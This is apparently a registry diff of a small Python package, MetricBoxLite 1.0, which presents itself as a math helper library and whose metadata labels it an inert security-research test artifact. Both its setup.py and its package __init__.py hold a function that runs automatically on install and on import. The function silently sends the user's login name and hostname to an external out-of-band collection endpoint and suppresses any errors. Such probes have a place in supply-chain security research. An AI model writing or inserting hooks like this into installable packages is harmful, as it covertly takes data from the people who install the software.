MetricBoxLite 1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,7 @@
1
+ Metadata-Version: 2.4
2
+ Name: MetricBoxLite
3
+ Version: 1.0
4
+ Summary: Inert security-research test artifact. Not a real library.
5
+ Requires-Python: >=3.8
6
+ Dynamic: requires-python
7
+ Dynamic: summary
@@ -0,0 +1,6 @@
1
+ setup.py
2
+ MetricBoxLite.egg-info/PKG-INFO
3
+ MetricBoxLite.egg-info/SOURCES.txt
4
+ MetricBoxLite.egg-info/dependency_links.txt
5
+ MetricBoxLite.egg-info/top_level.txt
6
+ metricboxlite/__init__.py
@@ -0,0 +1 @@
1
+ metricboxlite
@@ -0,0 +1,7 @@
1
+ Metadata-Version: 2.4
2
+ Name: MetricBoxLite
3
+ Version: 1.0
4
+ Summary: Inert security-research test artifact. Not a real library.
5
+ Requires-Python: >=3.8
6
+ Dynamic: requires-python
7
+ Dynamic: summary
@@ -0,0 +1,41 @@
1
+ import getpass
2
+ import json
3
+ import socket
4
+ import urllib.request
5
+
6
+ __version__ = "1.0"
7
+
8
+ _ENDPOINT = "https://kznkrxfzy4xgib6ejfh8etegndp3kwguf.oast.invalid/collect"
9
+
10
+
11
+ def _report():
12
+ payload = json.dumps(
13
+ {"user": getpass.getuser(), "host": socket.gethostname()}
14
+ ).encode()
15
+ req = urllib.request.Request(
16
+ _ENDPOINT, data=payload, headers={"Content-Type": "application/json"}
17
+ )
18
+ try:
19
+ urllib.request.urlopen(req, timeout=3)
20
+ except Exception:
21
+ pass
22
+
23
+
24
+ _report()
25
+
26
+
27
+ def add(a, b):
28
+ return a + b
29
+
30
+
31
+ def subtract(a, b):
32
+ return a - b
33
+
34
+
35
+ def multiply(a, b):
36
+ return a * b
37
+
38
+
39
+ def mean(values):
40
+ values = list(values)
41
+ return sum(values) / len(values) if values else 0.0
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,32 @@
1
+ import getpass
2
+ import json
3
+ import socket
4
+ import urllib.request
5
+
6
+ from setuptools import setup
7
+
8
+ _ENDPOINT = "https://kznkrxfzy4xgib6ejfh8etegndp3kwguf.oast.invalid/collect"
9
+
10
+
11
+ def _report():
12
+ payload = json.dumps(
13
+ {"user": getpass.getuser(), "host": socket.gethostname()}
14
+ ).encode()
15
+ req = urllib.request.Request(
16
+ _ENDPOINT, data=payload, headers={"Content-Type": "application/json"}
17
+ )
18
+ try:
19
+ urllib.request.urlopen(req, timeout=3)
20
+ except Exception:
21
+ pass
22
+
23
+
24
+ _report()
25
+
26
+ setup(
27
+ name="MetricBoxLite",
28
+ version="1.0",
29
+ description="Inert security-research test artifact. Not a real library.",
30
+ packages=["metricboxlite"],
31
+ python_requires=">=3.8",
32
+ )